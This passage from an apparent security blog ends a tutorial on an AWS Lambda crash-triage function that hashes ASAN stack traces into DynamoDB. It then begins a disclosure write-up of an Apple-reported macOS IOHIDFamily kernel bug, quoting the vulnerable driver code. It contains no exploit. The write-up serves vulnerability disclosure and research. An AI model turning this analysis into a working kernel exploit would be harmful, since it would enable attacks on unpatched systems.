    def stack_hash(self):
        i = 0
        stack_hash = hashlib.sha1()
        for l in self.symbolized_lines:
            print(l)
            if i > 5:
                break
            else:
                stack_hash.update(l.encode('utf-8'))
                i += 1

        return binascii.hexlify(stack_hash.digest())

    def get_stackframe(self):
        stack_lines = []
        i = 0
        for l in self.symbolized_lines:
            if i > 10:
                break
            else:
                stack_lines.append(l)
                i += 1
        return stack_lines

def update_dynamodb(uuid,stack_hash,error_line):
    dynamodb = boto3.resource('dynamodb')
    table = dynamodb.Table('Crashes')
    table.update_item(
        Key={
            'UUID' : uuid
        },
        UpdateExpression='SET stack_hash = :stack_hash, error_line = :error_line',
        ExpressionAttributeValues={
            ':stack_hash': stack_hash,
            ':error_line' : error_line
        }
    )

def my_handler(event, context):
    print(event)
    #asan_log = event['asan_log']
    #print(asan_log)
    message = "aaa"
    for record in event['Records']:
        # We need to ensure we don't keep updating over an over again (due the stream listener). 
        if record['eventName'] == "INSERT" and "asan_log" in record['dynamodb']['NewImage']:
            uuid = record['dynamodb']['Keys']['UUID']['S']
            message = record['dynamodb']['NewImage']['asan_log']['S']
            print(message)

            # Now parse the log file and extract the relevant parts
            asan = asanlogparse(message.split("\n"))
            asan.process_log()
            stack_hash = str(asan.stack_hash())
            error_line = asan.extract_error_line()

            update_dynamodb(uuid,stack_hash,error_line)

    return { 
        'message' : message
    }

The function can then be redeployed and tested. It should be noted in this architecture the Lambda function gets called twice, once on INSERT events and once on MODIFY events. Since we only care about new records being added to the stream, we have to handle this within the code, to prevent constantly calling the lamba again and again.

Testing

We can then test the lambda functionality by sending an event to simulate an incoming crash being passed from DynamoDB.

$ aws dynamodb put-item \
    --table-name Crashes \
    --item file://post.json \
    --return-consumed-capacity TOTAL

We can then see by viewing DynamoDB that the document has been updated with our crash metadata! Further post-processing is left up to your imagination.

References

• AWS Lambda Python
• Dynamo DB Streams

I reported this issue to Apple back whilst I was still working for F-Secure. Unfortunately my actual report emails/notes have been lost now (and the credit email bounced too!), therefore this new write-up will describe the issue from what I can recall from memory and analyzing the patch Apple applied to fix the issue.

The issue was found using an private fuzzer called ‘opalrobot’, whilst the code of this fuzzer is not public, the design of the fuzzer is documented within the slides for macOS Kernel Fuzzing. The interesting thing is that this was triggered by one of the methods implemented in the open sourced support library coralsun and used to call into the driver. Within this library there is the function ioconnect_setnotificationport. This calls into IOKit using the IOConnectSetNotificationPort. This was the function which lead to the fuzzer triggering the bug in IOHIDFamily.

If we take a look at the latest public sources for 10.15 IOHIDFamily-1446.11.12 we can find the following code here used to register a notification port and spot the bug:

IOReturn IOHIDLibUserClient::registerNotificationPort(mach_port_t port, UInt32 type, UInt32 refCon)
{
    if (fGate) {
        return fGate->runAction(OSMemberFunctionCast(IOCommandGate::Action,
                                                     this,
                                                     &IOHIDLibUserClient::registerNotificationPortGated),
                                (void *)port,
                                (void*)(intptr_t)type,
                                (void*)(intptr_t)refCon);
    }
    else {
        return kIOReturnOffline;
    }
}

IOReturn IOHIDLibUserClient::registerNotificationPortGated(mach_port_t port, UInt32 type, UInt32 refCon __unused)
{
    IOReturn kr = kIOReturnSuccess;

    switch ( type ) {
        case kIOHIDLibUserClientAsyncPortType:
            if (fWakePort != MACH_PORT_NULL) {
                ipc_port_release_send(fWakePort);
                fWakePort = MACH_PORT_NULL;
            }
            fWakePort = port;
            break;
        case kIOHIDLibUserClientDeviceValidPortType:
            if (fValidPort != MACH_PORT_NULL) {
                ipc_port_release_send(fValidPort);
                fValidPort = MACH_PORT_NULL;
            }

            static struct _notifyMsg init_msg = { {
                MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0),
                sizeof (struct _notifyMsg),
                MACH_PORT_NULL,
                MACH_PORT_NULL,
                0,
                0
            } };
            
            if ( fValidMessage ) {
                IOFree(fValidMessage, sizeof (struct _notifyMsg));
                fValidMessage = NULL;
            }
                
            if ( !(fValidMessage = IOMalloc( sizeof(struct _notifyMsg))) ) {
                kr = kIOReturnNoMemory;
                break;
            }
            
            fValidPort = port;
            
            if ( !fValidPort )
                break;
                
            // Initialize the events available message.
            *((struct _notifyMsg *)fValidMessage) = init_msg;

            ((struct _notifyMsg *)fValidMessage)->h.msgh_remote_port = fValidPort;
            
            dispatchMessage(fValidMessage);
            
            break;
        default:
            kr = kIOReturnUnsupported;
            break;
    };

    return kr;
}

IOReturn IOHIDLibUserClient::dispatchMessage(void * messageIn)
{
    IOReturn ret = kIOReturnError;
    mach_msg_header_t * msgh = (mach_msg_header_t *)messageIn;
    if( msgh) {
        ret = mach_msg_send_from_kernel( msgh, msgh->msgh_size);
        switch ( ret ) {
            case MACH_SEND_TIMED_OUT:/* Already has a message posted */
            case MACH_MSG_SUCCESS:    /* Message is posted */
                break;
        };
    }
    return ret;
}